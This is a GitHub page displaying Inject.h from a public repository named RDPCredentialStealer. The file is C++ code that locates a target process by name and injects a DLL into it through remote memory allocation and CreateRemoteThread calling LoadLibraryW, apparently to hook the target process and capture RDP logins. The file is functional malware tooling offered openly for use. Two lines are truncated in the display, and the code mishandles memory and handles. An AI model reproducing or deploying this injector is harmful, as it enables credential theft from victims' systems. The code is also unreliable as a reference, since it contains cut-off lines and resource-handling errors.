Sign in

S12cybersecurity / RDPCredentialStealer

Public

Notifications Fork 35 Star 234

Code Issues 1 Pull requests Actions Projects Security Insights

RDPCredentialStealer / APIHookInjectorBin / APIHookInjectorBin / Inject.h

54 lines (46 loc) · 1.77 KB

Code Blame Raw

```
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <iostream>

using namespace std;


int getPIDbyProcName(const wchar_t* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
            if (wcscmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

bool DLLinjector(DWORD pid, const wchar_t* dllPath) {
    typedef LPVOID memory_buffer;

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProc == NULL) {
        cout << "OpenProcess() failed: " << GetLastError() << endl;
        return false;
    }

    HMODULE hKernel32 = GetModuleHandleW(L"Kernel32");
    FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryW");
    memory_buffer allocMem = VirtualAllocEx(hProc, NULL, wcslen(dllPath) * sizeof(wchar_t), MEM_RES
    if (allocMem == NULL) {
        cout << "VirtualAllocEx() failed: " << GetLastError() << endl;
        return false;
    }
    WriteProcessMemory(hProc, allocMem, dllPath, wcslen(dllPath) * sizeof(wchar_t), NULL);
    HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NU
    if (rThread == NULL) {
        cout << "CreateRemoteThread() failed: " << GetLastError() << endl;
        return false;
    }

    cout << "Code Injected";

    CloseHandle(hProc);
    FreeLibrary(hKernel32);
    VirtualFreeEx(hProc, allocMem, wcslen(dllPath) * sizeof(wchar_t), MEM_RELEASE);
    return true;
}
```